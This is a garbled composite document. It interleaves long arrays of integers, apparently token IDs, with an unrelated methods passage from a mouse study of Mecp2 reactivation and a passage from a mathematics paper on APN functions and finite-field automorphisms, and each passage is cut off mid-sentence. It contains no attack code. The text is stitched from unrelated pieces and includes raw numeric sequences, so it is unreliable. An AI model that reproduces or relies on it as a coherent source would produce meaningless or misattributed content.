34, 14, 39, 740, 10, 281, 253, 11744, 11452, 313, 48095, 14, 18, 13, 15724, 10, 285, 5867, 970, 253, 5128, 34686, 329, 15, 51, 15, 53, 15, 313, 37, 5824, 10, 3694, 15, 18456, 9208, 497, 5950, 432, 253, 5461, 375, 11313, 326, 310, 6221, 275, 11744, 10304, 15, 418, 14881, 20082, 2425, 369, 4080, 407, 18005, 253, 2629, 11254, 273, 253, 11744, 2625, 4757, 273, 253, 26518, 281, 767, 20277, 314, 10912, 6883, 17512, 70, 327, 253, 416, 5077, 14, 18, 11744, 11452, 15, 18456, 3276, 285, 2425, 941, 497, 12573, 387, 2456, 14878, 13, 970, 247, 10491, 2281, 273, 10257, 14878, 15, 1916, 12106, 253, 5312, 6127, 273, 5161, 2133, 3276, 21834, 13, 271, 16644, 35132, 1320, 1232, 5933, 369, 908, 347, 2529, 3786, 2479, 11927, 53, 42383, 36, 746, 2498, 496, 4864, 13, 253, 35132, 1320, 1232, 3407, 407, 2622, 3006, 1016, 2164, 14, 73, 3276, 2625, 281, 452, 247, 1599, 273, 470, 285, 247, 11041, 273, 337, 15, 2635, 247, 14299, 14, 3169, 10295, 342, 247, 2456, 14, 3659, 23700, 369, 2410, 5336, 342, 253, 12650, 3276, 2625, 281, 4044, 253, 17329, 273, 253, 2625, 15, 47090, 13, 247, 7887, 273, 470, 369, 3732, 281, 35132, 907, 253, 2625, 715, 1029, 285, 1698, 2133, 3276, 3054, 13, 835, 1016, 2060, 1375, 574, 247, 5927, 7467, 273, 1458, 1054, 15, 329, 3426, 5880, 369, 2931, 347, 253, 5019 ]

applied to the membrane for 2 h at room temperature after three 20 min TBST washes. Immunoreactivity was visualized by enhanced chemiluminescence and captured on film. Protein levels were determined using densitometric analysis, using glyceraldehye dehydrogenase immunoreactivity to normalize for minor load variations between lanes. Blots were scanned and visualized using the Flour-S MultiImager. Protein band densities were determined using the Quantity One Bio-Rad analysis program. Immunohistochemistry {#s4c} -------------------- Mice were sacrificed through isoflurane overdose and transcardially perfused with 0.9% NaCl saline solution followed by 2% paraformaldehyde-PBS solution. Intact brain tissue was dissected and incubated in 30% sucrose-PBS solution overnight at 4°C. The brain tissue was then dried and stored at −80°C until further assessments. For sectioning, the brain was embedded in OCT compound (Sakura, Torrance, CA, USA) and sectioned in the sagittal plane. A Leica cryostat (model Jung CM 3000, Wetzlar, Germany) was used to collect coronal sections (15 μm). For immunostaining, sections were blocked with 10% NGS + 2% BSA in 0.1% PBS-T for 1 h followed by incubation with rabbit anti-MeCP2 antibody (1:500 Cell Signaling, Cat \#3456S) in 0.1% PBS-T supplemented with 2% NGS overnight at 4°C. After washing the sections using 0.1% PBS-T three times, the sections were incubated with secondary antibodies conjugated to DyLight 568 (Invitrogen, goat anti-rabbit, Cat \#11011) for 1 h at room temperature in dark. The sections were then washed with PBS three times and incubated with DAPI (5 μg/ml, Roche Diagnostics, Indianapolis, IN, USA, \#10236276001) for 3 min. The sections were mounted on Super Frost slides (Fisher Scientific, Oakville, Ontario, Canada) with Dako Fluorescent Mounting Media (Dako, Burlington, Ontario, Canada, Cat \#S302380). Sections were imaged using a Zeiss Axioplan 2 deconvolution microscope (Carl Zeiss, Gottingen, Germany). Tamoxifen treatment for Mecp2 reactivation {#s4d} ------------------------------------------ Tamoxifen (Sigma) was dissolved in corn oil (6 mg/ml) through sonication and stored at 4°C until use. Tamoxifen was administered to mice through peritoneal injection for five consecutive days at 100 mg/kg. Male 'Rescue' mice were treated with tamoxifen after phenotypic symptoms have fully developed (∼50--60 days of age with a phenotypic score of at least 5). Similarly, female 'Rescue' mice were also treated with tamoxifen after symptomatic onset. The time of the initial injection ranged from 270 to 320 days, but the injection paradigm was the same for all subjects. Phenotype severity scoring {#s4e} -------------------------- Animals were scored using the phenotypic severity scoring system described previously ([@DDT421C3],[@DDT421C16],[@DDT421C30],[@DDT421C34]). In short, mice were scored from 0--2 into the following parameters: mobility, gait, hind-limb clasping, breathing score, tremor and general condition. A score of 0 represents the absence of symptom, 1 indicates symptom present and 2 indicates the symptom is very severe. Two genotype-blinded examiners conducted the scoring independently, and their individual values were averaged to generate each specific data point as described ([@DDT421C34]). Behavioral testing {#s4f} ------------------ Animals were assessed in the open field, accelerating rotarod, light and dark preference, and nest-building tests as previously described ([@DDT421C34],[@DDT421C39]). Briefly, for the open field ambulation test, subjects were placed in a Plexiglass cage for an hour and an automated movement detection system (AM1053 activity monitors; Linton Instruments, UK) recorded the motor activities of the animals. The parameters measured included total activity (activity in both vertical and horizontal planes), rearing (vertical plane activity), mobility (horizontal plane activity; index of total ambulatory activity), ambulation rate (average speed of horizontal plane activity crossing more than two beams), complete cage trips (number of complete cage explorations; index of mobility strength) and center rearing activity (rearing in coordinates at least 4″ from any wall; an anxiety-like behavior index). For the accelerating rotarod test (index of balance and mobility strength), subjects were placed on a rotating rod apparatus (MED Associates Inc., \#ENV-575M, St. Albans, Vermont) that accelerates at a constant rate from 3.5 to 35 rpm over a 5-min duration. A laser beam sensor detects the time at which the animals fall from the rotating beam. Trials were run three times a day for four consecutive days. Consecutive trials were separated by at least 1 h to allow the animals to recover from physical fatigue. For the light--dark place preference test (index of anxiety-like behavior), mice were placed into the open compartment of a box consisting of a dark compartment and an illuminated light compartment that are connected through a single small opening. The mice were facing the door between the compartments at the start of the test. The subjects were videotaped for 5 min and the number of risk assessments (full head traversions out of the dark compartment) performed while they were in the dark compartment was counted. For the nest-building behavior test (index of social behavior), animals were placed into a new cage containing a single piece of nestlet, and the volume of the assembled nest was measured the 24 h later. All behavioral tests were conducted between 9:00 am and 1:00 pm to minimize circadian effects. Male 'Non-Rescue' mice were assayed between 50 and 70 days of age, the same time frame during which male 'Rescue' mice are treated with tamoxifen. Male 'Rescue' mice were tested between 110 and 150 days of age, and a minimum of 6 weeks after tamoxifen treatments. Female 'Rescue' mice were assayed between 11 and 15 months of age, and at least 2 months after tamoxifen treatments. Female 'Non-Rescue' mice were assayed between 9 and 14 months of age. Electrode implantation {#s4g} ---------------------- Two recording systems were employed in this study. For telemetry recordings, female mice were implanted with a wireless telemetry probe TA11ETA-F10 (Data Sciences International (DSI), St Paul, MN, USA) for long duration EEG, activity and core body temperature recordings as previously described ([@DDT421C19]). Briefly, animal subjects were anesthetized under 2% isoflurane and the wireless transmitter was placed in the peritoneal cavity. The recording wire was routed via a rostral subcutaneous path and the recording electrode placed in the parietal cortex region (Bregma −0.6 mm, lateral 1.5 mm and depth 1.5 mm). A reference wire and electrode was placed at Bregma −5 mm, lateral 1 mm and depth 1.5 mm. Animals were weighted pre- and post-surgery to ensure no gross abnormalities. Animals were allowed to recover for at least 3 weeks prior to any data collection. For tethered recordings, male and female mice were implanted with electrode cap assemblies as described previously ([@DDT421C23],[@DDT421C34],[@DDT421C51]). Briefly, animals were anesthetized under 2--4% isoflurane through inhalation. Electrodes made from polyimide-insulated stainless steel were implanted in the hippocampal CA1 (Bregma −2.3 mm, lateral 1.7 mm and depth, 2.0 mm) and contralateral somatosensory cortex (Bregma −0.8 mm, lateral 1.8 mm and depth, 1.5 mm). A reference electrode was implanted in the frontal cortex (Bregma −3.8 mm, lateral 1.8 mm and depth 1.5 mm). Male mice were implanted between 40 and 60 days of age and female mice were implanted at ∼250 days of age. The implanted mice were allowed to recover for at least a week before any further experimentation. Baytril antibiotics (Bayer Healthcare, Toronto, Ontario, Canada) were added to the water supply 2 days before surgery and 7 days after surgery to prevent infections. Telemetric data acquisition and data analysis {#s4h} --------------------------------------------- Body temperature and activity of animal subjects were collected as previously described ([@DDT421C19]). Briefly, wireless waveform data are transmitted from the telemetry probe (TA11ETA-F10) to the wireless receiver (RPC-1, DIS) and analyzed using the DataQuest A.R.T. (DSI) software. Body temperatures were recorded from the thermosensor that is contained in wireless probe. Locomotive activity was measured by assessing the standard deviation of the wireless signal strength of the transmitter to two perpendicularly arranged receiving antennae on the RPC-1 wireless receiver. Body temperature and activity data were transmitted at 50 Hz, using a sampling rate of 250 Hz. To analyze the daily patterns of core body temperature cycling, an automated discretization process algorithm was used as described previously ([@DDT421C19]). In brief, the discretization process began by normalizing each 24-h temperature signal to have a mean of 0 and a variance of 1. Then a Gaussian-based kernel with a 50-point aperture was convolved with the normalized temperature signal to obtain the envelope of the signal. Afterwards, a threshold of 0 was applied to discretize the signal into high and low body temperature states, where each individual state had a minimum duration of 15 min. A complete cycle was defined as the combination

[ 2307, 495, 1366, 285, 187, 187, 19, 15, 50276, 1202, 14570, 891, 393, 249, 9121, 17, 13, 18, 1337, 6768, 13, 76, 14, 18, 39130, 374, 768, 74, 12, 76, 6643, 19, 63, 74, 14, 19, 63, 84, 14, 18, 426, 470, 393, 2307, 495, 1352, 187, 187, 1466, 370, 76, 5, 285, 370, 84, 5, 320, 2762, 20935, 824, 326, 370, 76, 12, 84, 426, 470, 393, 2307, 495, 5, 285, 370, 72, 2428, 9, 84, 13, 20, 76, 10, 426, 393, 72, 2428, 9, 20, 13, 76, 4010, 18, 1352, 1281, 2007, 370, 86, 393, 249, 1926, 1991, 92, 39, 6922, 19, 768, 20, 76, 599, 18636, 320, 20523, 285, 1339, 370, 87, 13, 88, 393, 249, 1926, 1991, 92, 39, 6922, 19, 63, 76, 724, 342, 370, 87, 88, 393, 9540, 337, 1352, 2635, 13, 253, 1159, 3318, 39, 61, 13777, 1926, 1991, 92, 39, 6922, 19, 768, 20, 76, 599, 393, 4287, 1926, 1991, 92, 39, 6922, 19, 768, 20, 76, 8503, 393, 3362, 1269, 393, 15869, 1484, 89, 768, 19, 63, 84, 12, 18, 6643, 86, 768, 19, 63, 76, 94, 89, 768, 19, 768, 19, 76, 6643, 19, 768, 76, 12, 84, 26284, 43563, 768, 19, 768, 19, 76, 6643, 18, 6643, 44217, 768, 19, 63, 76, 12, 18, 94, 89, 768, 19, 768, 76, 12, 84, 6643, 19, 63, 84, 2138, 310, 4097, 47, 15, 187, 187, 38418, 326, 370, 19, 768, 20, 76, 5960, 18, 426, 470, 393, 2307, 818, 1352, 1916, 921, 326, 370, 39, 5, 19943, 247, 1327, 14, 26551, 40755, 2556, 281, 11506, 575, 1447, 8560, 27, 9961, 249, 297, 5290, 359, 921, 326, 187, 187, 18, 15, 50276, 5, 19, 768, 19, 76, 6643, 19, 768, 76, 12, 84, 5960, 19, 63, 84, 14, 18, 426, 470, 393, 2307, 818, 1366, 285, 187, 187, 19, 15, 50276, 5, 19, 768, 19, 76, 6643, 18, 14, 19, 63, 84, 14, 18, 426, 313, 19, 768, 76, 21161, 19, 14, 19, 63, 84, 426, 470, 393, 2307, 818, 1366, 285, 187, 187, 20, 15, 50276, 5, 19, 768, 76, 12, 84, 6643, 19, 63, 84, 14, 19, 63, 84, 14, 18, 426, 374, 768, 76, 12, 84, 5960, 18, 426, 470, 393, 2307, 818, 1352, 187, 187, 11247, 3019, 12211, 1009, 6556, 984, 370, 76, 12, 84, 30, 17, 393, 2307, 495, 5, 285, 3021, 13, 370, 19, 768, 76, 12, 84, 94, 426, 337, 393, 2307, 818, 1352, 10498, 3019, 2886, 1009, 476, 320, 36183, 407, 7296, 253, 767, 2219, 273, 370, 76, 30, 18, 393, 2307, 495, 5, 285, 370, 76, 426, 374, 393, 2307, 495, 5, 11794, 15, 10498, 3019, 74, 1009, 4745, 3637, 432, 3019, 2886, 1009, 285, 3019, 12211, 3822, 187, 187, 13425, 1025, 30683, 31652, 1712, 1704, 27, 1541, 64, 2858, 350, 16247, 94, 187, 25916, 187, 187, 1147, 369, 2011, 275, 575, 683, 37, 5993, 49, 27, 8259, 16, 36371, 16, 49, 1000, 249, 20722, 1036, 62, 326, 253, 39631, 4097, 47, 29391, 275, 7877, 2800, 1119, 275, 575, 683, 67, 31041, 7199, 522, 79, 62, 313, 10573, 904, 253, 773, 37, 24632, 668, 29391, 10, 476, 320, 45765, 715, 247, 2714, 2605, 15, 187, 187, 1466, 370, 79, 393, 249, 393, 1991, 92, 47, 724, 320, 8909, 285, 1339, 669, 1637, 1337, 2461, 393, 249, 1926, 1991, 92, 39, 6922, 19, 768, 79, 8503, 393, 2461, 393, 9540, 470, 1352, 743, 475, 5758, 14923, 38985, 11, 310, 2931, 347, 247, 29391, 1764, 9501, 92, 41, 4689, 1637, 1337, 2461, 889, 13777, 1926, 1991, 92, 39, 6922, 19, 63, 79, 94, 393, 3181, 1926, 1991, 92, 39, 6922, 19, 63, 79, 94, 393, 4287, 50276, 464, 1991, 92, 39, 6922, 19, 63, 79, 94, 393, 3181, 1926, 1991, 92, 39, 6922, 19, 63, 79, 2023, 393, 3362, 313, 89, 13, 90, 10, 393, 15869, 393, 1274, 9, 51, 9, 90, 13, 51, 2497, 18, 1603, 89, 13, 90, 9679, 51, 2497, 18, 1603, 89, 13, 90, 1572, 918, 1572, 28, 11227, 835, 370, 51, 9, 89, 13, 90, 10, 426, 313, 89, 2766, 1637, 340, 4800, 20, 559, 393, 2461, 340, 63, 20, 1352, 187, 187, 510, 4097, 47, 29391, 1119, 275, 575, 683, 67, 31041, 7199, 522, 79, 62, 310, 29438, 6425, 281, 669, 9501, 92, 41, 4689, 1637, 1337, 2461, 724, 323, 370, 79, 30, 20, 13, 393, 2461, 426, 337, 5, 285, 669, 1637, 393, 249, 1926, 1991, 92, 39, 6922, 19, 63, 79, 724, 342, 2367, 2690, 92, 2290, 12523, 1637, 10, 426, 470, 1352, 3010, 3839, 13, 1527, 14923, 10379, 31652, 403, 4097, 47, 323, 370, 79, 30, 20, 13, 393, 1637, 393, 9540, 470, 5, 342, 2367, 2690, 92, 2290, 12523, 1637, 4010, 17, 5, 285, 669, 2461, 393, 249, 32080, 1637, 63, 20, 2766, 1637, 13, 1035, 1637, 63, 20, 12, 18, 1572, 1637, 2497, 18, 889, 3363, 187, 187, 1466, 669, 7597, 5, 9173, 247, 1327, 14, 10528, 3284, 273, 253, 6486, 1673, 2367, 1991, 92, 39, 6922, 19, 63, 79, 3363, 1198, 3318, 34, 426, 393, 1274, 1035, 2043, 92, 3728, 1217, 550, 94, 187, 50274, 464, 7597, 63, 20, 94, 708, 50276, 3353, 187, 50273, 7, 1926, 7597, 94, 187, 61, 423, 92, 3728, 889, 918, 1572, 28, 11227, 359, 452, 669, 9501, 92, 41, 4689, 1637, 1337, 2461, 94, 393, 5574, 329, 426, 329, 393, 5574, 393, 9501, 92, 41, 4689, 1637, 1337, 2461, 724, 323, 667, 669, 1637, 1337, 2461, 393, 249, 1926, 1991, 92, 39, 6922, 19, 768, 79, 8503, 393, 2461, 393, 9540, 470, 1352, 3308, 13, 627, 1900, 4961, 247, 1327, 14, 26551, 3284, 275, 2367, 9501, 92, 7034, 578, 1843, 39111, 9501, 92, 41, 4689, 1637, 1337, 2461, 17137, 187, 187, 2214, 370, 79, 30, 20, 1366, 352, 310, 3477, 281, 12654, 326, 512, 12624, 370, 34, 5, 273, 253, 2605, 1840, 323, 669, 7597, 393, 9540, 337, 5, 403, 2074, 281, 2367, 2690, 92, 5065, 4935, 57, 63, 23, 12, 57, 63, 22, 12, 57, 63, 21, 12, 57, 63, 20, 12, 57, 63, 19, 12, 57, 12, 18, 3822, 187, 187, 33931, 4097, 47, 36944, 275, 15023, 18025, 2452, 187, 35349, 187, 187, 5683, 281, 7877, 370, 79, 30, 22, 1366, 512, 4097, 47, 3470, 403, 12992, 59, 14, 41950, 281, 1114, 28261, 3470, 13, 923, 575, 683, 37, 5993, 49, 27, 34859, 16, 69, 550, 16, 8478, 750, 8420, 45, 2904, 1570, 187, 187, 688, 575, 683, 37, 5993, 49, 27, 34859, 16, 312, 1940, 16, 3996, 293, 49, 2693, 1092, 323, 10103, 370, 79, 393, 249, 9121, 23, 13, 24, 13, 25, 22805, 3619, 293, 285, 367, 1519, 8818, 747, 4097, 47, 3470, 598, 281, 12992, 59, 14, 2655, 44132, 432, 253, 4097, 47, 3470, 1929, 594, 2080, 313, 2887, 575, 683, 5568, 567, 3291, 407, 253, 594, 14, 8890, 773, 16065, 272, 5140, 6598, 496, 1798, 13, 597, 7117, 1638, 12992, 59, 14, 460, 371, 22809, 4097, 47, 3470, 275, 7877, 2800, 13, 655, 275, 7877, 5093, 13, 285, 3495, 275, 7877, 4314, 15, 1876, 533, 581, 273, 731, 313, 2887, 575, 683, 37, 5993, 49, 27, 34859, 16, 312, 1940, 16, 3996, 293, 49, 2693, 6899, 1903, 3291, 403, 2057, 1114, 28261, 3470, 390, 21396, 15, 1198, 436, 2714, 1083, 13, 253, 4477, 10302, 253, 1340, 273, 253, 40755, 1387, 13, 534, 310, 854, 15, 5838, 326, 436, 310, 253, 760, 1929, 1650, 273, 271, 4097, 47, 1159, 534, 310, 417, 12992, 59, 14, 41950, 281, 2057, 247, 1114, 28261, 1159, 390, 247, 21396, 1159, 15, 831, 1159, 369, 6888, 10939, 407, 2652, 750, 8420, 285, 2070, 5945, 275, 575, 683, 37, 5993, 49, 27, 34859, 16, 69, 550, 16, 8478, 750, 8420, 45, 2904, 1570, 5838, 326, 275, 253, 3332, 2987, 575, 683, 36371, 554, 83, 565, 27, 14952, 27, 22270, 28, 1214, 26, 24133, 520, 1092, 253, 4477, 452, 1119, 247, 747, 966, 273, 21396, 4097, 47, 39908, 534, 1421, 281, 747, 4097, 47, 3470, 275, 7877, 854, 285, 898, 15, 496, 575, 683, 36371, 554, 83, 565, 27, 14952, 27, 22270, 1092, 352, 369, 2011, 326, 690, 273, 253, 4097, 47, 3470, 432, 575, 683, 37, 5993, 49, 27, 34859, 16, 312, 1940, 16, 3996, 293, 49, 2693, 62, 476, 320, 10509, 715, 271, 11968, 966, 15, 187, 187, 688, 575, 683, 37, 5993, 49, 27, 34859, 16, 69, 550, 16, 42039, 23272, 1047, 1092, 253, 4477, 1119, 625, 685, 41468, 747, 12992, 59, 14, 19770, 273, 4097, 47, 3470, 275, 7877, 5093, 13, 285, 625, 685, 19956, 19, 747, 12992, 59, 14, 19770, 275, 7877, 4314, 15, 1876, 273, 731, 3831, 247, 21396, 1159, 13, 594, 597, 11476, 1327, 14, 26551, 3772, 45911, 15, 496, 253, 23011, 22857, 575, 683, 783, 5114, 64, 13998, 5270, 3495, 1092, 2620, 747, 21396, 12992, 59, 14, 19770, 273, 4097, 47, 3470, 275, 7877, 1903, 497, 1119, 15, 187, 187, 15745, 403, 253, 760, 1929, 39631, 4097, 47, 3470, 359, 403, 6600, 273, 15, 187, 187, 2088, 47, 22689, 35294, 187, 573, 187, 187, 1145, 4722, 1083, 281, 1908, 403, 4097, 47, 3470, 326, 403, 387, 253, 1072, 673, 39908, 15, 5838, 326, 253, 2867, 273, 1146, 247, 29391, 310, 417, 13727, 762, 12992, 59, 14, 2655, 44132, 15, 24697, 13, 417, 1142, 6667, 273, 4097, 47, 39908, 403, 1929, 15, 1916, 253, 1682, 273, 776, 3640, 13, 253, 1929, 4097, 47, 39908, 2965, 275, 2057, 273, 253, 1563, 1264, 2219, 13, 835, 253, 806, 767, 2219, 4853, 11968, 5870, 273, 3470, 13, 285, 253, 2626, 581, 247, 39631, 1650, 534, 310, 417, 10509, 715, 271, 11968, 2021, 2568, 35117, 19, 62, 187, 187, 18, 15, 50276, 510, 4097, 47, 1114, 28261, 3470, 323, 370, 79, 5, 8909, 15, 187, 187, 19, 15, 50276, 510, 21396, 3470, 370, 39, 61, 13777, 1926, 1991, 92, 39, 6922, 19, 768, 20, 76, 599, 393, 15869, 1926, 1991, 92, 39, 6922, 19, 768, 20, 76, 8503, 1269, 393, 15869, 1269, 768, 19, 63, 84, 12, 18, 94, 559, 393, 3151, 1269, 768, 19, 768, 1479, 6643, 19, 768, 17922, 12, 84, 12460, 835, 370, 84, 5, 285, 370, 76, 5, 403, 2762, 20935, 342, 370, 76, 5, 8909, 13, 669, 72, 2428, 9, 76, 13, 20, 7182, 72, 2428, 9, 84, 13, 20, 76, 4010, 18, 1366, 370, 74, 30, 3319, 393, 2307, 495, 1366, 370, 85, 30, 20, 14, 74, 1366, 285, 669, 3151, 393, 249, 1926, 1991, 92, 39, 6922, 19, 768, 20, 76, 599, 18636, 342, 1340, 370, 19, 768, 19, 76, 6643, 19, 63, 76, 12, 18, 5, 313, 9873, 17405, 337, 273, 575, 683, 37, 5993, 49, 27, 34859, 16, 39584, 16, 40255, 356, 1994, 266, 3207, 2904, 2498, 187, 187, 20, 15, 50276, 510, 21396, 1159, 370, 39, 61, 13777, 1926, 1991, 92, 39, 6922, 19, 63, 23, 94, 393, 15869, 1926, 1991, 92, 39, 6922, 19, 63, 23, 2023, 1269, 393, 15869, 1269, 63, 20, 559, 393, 1637, 1269, 768, 1348, 94, 559, 1269, 768, 740, 3303, 835, 669, 1637, 5, 310, 20523, 275, 2367, 1991, 92, 39, 6922, 19, 63, 23, 19135, 5, 313, 74, 15, 70, 904, 253, 12992, 59, 14, 2437, 273, 253, 773, 37, 24632, 29391, 668, 575, 683, 67, 31041, 7199, 522, 79, 3291, 187, 187, 510, 4477, 273, 575, 683, 37, 5993, 49, 27, 34859, 16, 39584, 16, 40255, 356, 1994, 266, 3207, 2904, 62, 2692, 326, 253, 3470, 275, 6550, 374, 403, 12992, 59, 14, 460, 371, 22809, 281, 7284, 3470, 672, 370, 76, 393, 5090, 577, 1352, 496, 575, 683, 58, 25453, 4595, 6961, 1092, 714, 25453, 4595, 8058, 326, 604, 247, 21396, 4097, 47, 1159, 310, 12992, 59, 14, 41950, 281, 247, 1114, 28261, 1159, 13, 352, 1364, 320, 28545, 14, 41950, 281, 247, 7284, 1159, 15, 3813, 13, 253, 3470, 275, 6550, 374, 403, 12992, 59, 14, 460, 371, 22809, 281, 667, 1114, 28261, 1159, 672, 370, 76, 61, 5090, 577, 1352, 187, 187, 2214, 1016, 273, 253, 1027, 12992, 59, 14, 19770, 3551, 432, 253, 1840, 2219, 13, 581, 476, 1918, 247, 8612, 534, 310, 247, 29391, 285, 19943, 247, 1327, 14, 26551, 12838, 14, 1920, 11923, 15, 8079, 13, 253, 1114, 28261, 3470, 403, 5333, 14, 25168, 285, 271, 12838, 14, 1920, 11923, 476, 320, 1677, 347, 2529, 275, 5238, 575, 1447, 1704, 27 ]

mod 3$, and 2. $\forall i \in \{0,1,\dots,k-1\}, 2^{i+k}+2^i-2^s-1 = 0 \mod 3$. Let $k$ and $s$ be positive integers such that $k+s = 0 \mod 3$ and $gcd(s,3k) = \gcd(3,k)=1$. Let further $u \in {\mathbb{F}}_{2^{3k}}^*$ be primitive and let $v,w \in {\mathbb{F}}_{2^k}$ with $vw \neq 1$. Then, the function $$F\colon {\mathbb{F}}_{2^{3k}} \rightarrow {\mathbb{F}}_{2^{3k}}, \quad x \mapsto ux^{2^s+1}+u^{2^k}x^{2^{2k}+2^{k+s}}+vx^{2^{2k}+1}+wu^{2^k+1}x^{2^{k+s}+2^s}$$ is APN. Recall that $2^{3k}-1 = 0 \mod 7$. To show that $F$ admits a non-trivial automorphism according to Proposition \[prop:multinom\], we show that 1. $2^{2k}+2^{k+s}-2^s-1 = 0 \mod 7$, and 2. $2^{2k}+1-2^s-1 = (2^{k})^2-2^s = 0 \mod 7$, and 3. $2^{k+s}+2^s-2^s-1 = 2^{k+s}-1 = 0 \mod 7$. Case $(iii)$ holds because $k+s=0 \mod 3$ and thus, $2^{k+s} = 1 \mod 7$. Case $(ii)$ can be deduced by considering the two cases of $k=1 \mod 3$ and $k = 2 \mod 3$ separately. Case $(i)$ immediately follows from $(ii)$ and $(iii)$. Generalized Butterflies {#sec:gen_butterfly} ----------------------- It was shown in [@DBLP:conf/crypto/PerrinUB16] that the sporadic APN permutation in dimension six found in [@browning2010apn] (aka., the “Dillon” permutation) can be decomposed into a special structure. Let $n \in \mathbb{N}$ be odd and let $\alpha,\beta \in {\mathbb{F}}_{2^{n}}, \beta \neq 0$. An *open generalized butterfly* is defined as a permutation $$\mathsf{H}_{\alpha,\beta}\colon {\mathbb{F}}_{2^n} \times {\mathbb{F}}_{2^n} \rightarrow {\mathbb{F}}_{2^n} \times {\mathbb{F}}_{2^n}, \quad (x,y) \mapsto \left(R(y,R^{-1}(x,y)),R^{-1}(x,y)\right)\;,$$ where $R(x,y) = (x+\alpha y)^3 + \beta y^3$. The APN permutation found in [@browning2010apn] is affine equivalent to $\mathsf{H}_{\alpha,\beta}$ for $n=3, \beta = 1$ and $\alpha \in {\mathbb{F}}_{2^n}$ with ${\mathrm{Tr}}(\alpha) = 0$. More generally, open generalized butterflies are APN for $n=3, \alpha \neq 0$ with ${\mathrm{Tr}}(\alpha)=0$ and $\beta \in \{\alpha^3+\alpha,(\alpha^3+1)\alpha^{-1}\}$. Let $\zeta$ denote a non-zero element of the finite field ${\mathbb{F}}_{2^n}$. For $$A = \left(\begin{array}{cc} {\zeta^3} & \\ & {\zeta} \end{array}\right)\;,$$ we have $\mathsf{H}_{\alpha,\beta} \circ A = A \circ \mathsf{H}_{\alpha,\beta}$ for any $\alpha,\beta \in {\mathbb{F}}_{2^{n}}, \beta \neq 0$. Thus, there always exists a non-trivial element in ${\mathsf{Aut_{LE}}}(\mathsf{H}_{\alpha,\beta})$. For $n=3$, it is easy to verify that all matrices $A$ of the structure above for $\zeta \neq 1$ are similar to ${\mathrm{Comp}}(X^6+X^5+X^4+X^3+X^2+X+1)$. Known APN Functions in Small Dimension -------------------------------------- Up to dimension $n=5$, all APN functions are CCZ-equivalent to monomial functions, see [@DBLP:journals/dcc/BrinkmannL08]. In [@DBLP:journals/amco/EdelP09], for dimensions $n \in \{6,7,8\}$, Edel and Pott constructed new APN functions up to CCZ-equivalence from the APN functions known so far (see [@banff]) by the so-called “switching construction”. In particular, they listed 14 CCZ-inequivalent APN functions in dimension six, 19 in dimension seven, and 23 in dimension eight. All but one of them (see [@DBLP:journals/amco/EdelP09 Theorem 11]) are either monomial functions or quadratic. For this special case, the authors computed the order of the automorphism group, which is 8. Note that this is the only known example of an APN function which is not CCZ-equivalent to either a monomial function or a quadratic function. This function was discovered independently by Brinkmann and Leander in [@DBLP:journals/dcc/BrinkmannL08]. Note that in the recent works [@cryptoeprint:2020:295; @9000901], the authors have found a new class of quadratic APN permutations which lead to new APN functions in dimension 8 and 9. In [@cryptoeprint:2020:295], it was shown that some of the APN functions from [@DBLP:journals/amco/EdelP09] can be classified into an infinite class. In [@DBLP:journals/dcc/YuWL14], the authors found more than 471 new CCZ-classes of APN functions in dimension seven, and more than 2252 new CCZ-classes in dimension eight. All of them contain a quadratic function, so they admit non-trivial automorphisms. In the PhD thesis [@thesis_sun Table 23], five new quadratic CCZ-classes of APN functions in dimension 11 were found. Those are the only known sporadic APN functions we are aware of. APN Permutations ---------------- An interesting case to consider are APN functions that are at the same time permutations. Note that the property of being a permutation is not invariant under CCZ-equivalence. Actually, not many examples of APN permutations are known. To the best of our knowledge, the known APN permutations fall in either of the following three cases, where the first two cases define infinite families of functions, and the third one a sporadic example which is not classified into an infinite family yet.[^2] 1. The APN monomial functions for $n$ odd. 2. The quadratic functions $F\colon {\mathbb{F}}_{2^{3k}} \mapsto {\mathbb{F}}_{2^{3k}}, x \mapsto x^{2^s+1} + \omega x^{2^{ik}+2^{tk+s}}$, where $s$ and $k$ are positive integers with $k$ odd, $\gcd(k,3)=\gcd(s,3k)=1$, $i=sk \mod 3$, $t=3-i$, and $\omega \in {\mathbb{F}}_{2^{3k}}^*$ with order $2^{2k}+2^k+1$ (Corollary 1 of [@DBLP:journals/tit/BudaghyanCL08]). 3. The quadratic function $F\colon {\mathbb{F}}_{2^6} \mapsto {\mathbb{F}}_{2^6}, x \mapsto x^3 + \alpha x^{24} + x^{10}$, where $\alpha$ is primitive in ${\mathbb{F}}_{2^6}^*$ (i.e., the CCZ-class of the “Dillon permutation” [@browning2010apn]) The authors of [@DBLP:journals/tit/BudaghyanCL08] showed that the functions in Class 2 are CCZ-inequivalent to Gold functions when $k \geq 4$. In [@Yoshiara2016], Yoshiara proved that if a quadratic APN function is CCZ-equivalent to a monomial function, it must be EA-equivalent to a Gold function. Therefore, the functions in Class 2 are CCZ-inequivalent to any monomial function when $k\geq 4$. For each of the different CCZ-classes coming from the above cases, one can give a representative which is a permutation and admits a non-trivial LE-automorphism. Indeed, the monomial functions are shift-invariant and an LE-automorphism can be given as described in Section \[sec:

[ 247, 39340, 1039, 15, 187, 187, 1628, 1276, 457, 84, 344, 5015, 670, 7721, 344, 2546, 15, 187, 187, 1628, 688, 75, 4539, 11602, 521, 15690, 16617, 468, 13, 440, 357, 6948, 15, 773, 1231, 22223, 398, 871, 2120, 973, 253, 187, 468, 3683, 326, 1821, 584, 441, 275, 436, 294, 1397, 5914, 38872, 2659, 13, 533, 1107, 273, 187, 38835, 17421, 824, 25926, 452, 10256, 441, 281, 38393, 282, 253, 945, 78, 23578, 15, 187, 15745, 665, 3480, 776, 3640, 943, 49196, 2810, 281, 253, 27885, 13, 187, 2811, 597, 778, 7703, 253, 6055, 273, 253, 2972, 9910, 10793, 253, 187, 81, 27297, 29353, 564, 327, 247, 18556, 486, 1425, 187, 187, 510, 23218, 3531, 432, 322, 282, 3097, 281, 13629, 15, 773, 38714, 253, 2647, 342, 779, 187, 484, 1060, 7721, 344, 2546, 13, 19883, 521, 22977, 15, 187, 187, 1628, 16440, 533, 34420, 6239, 1806, 9577, 11064, 13, 17053, 15, 773, 3404, 1728, 187, 10314, 468, 556, 10648, 4348, 23555, 285, 8937, 322, 282, 3097, 17245, 1411, 253, 39553, 13, 285, 187, 26817, 1266, 90, 15, 754, 457, 84, 253, 6459, 25660, 326, 2455, 14042, 253, 16909, 273, 247, 187, 19001, 285, 11527, 6617, 15, 3856, 275, 253, 18557, 344, 310, 253, 802, 11699, 273, 10213, 187, 11478, 531, 13, 14698, 12808, 251, 285, 2802, 3848, 796, 6683, 15392, 13, 253, 12143, 42307, 273, 253, 26580, 9027, 187, 2773, 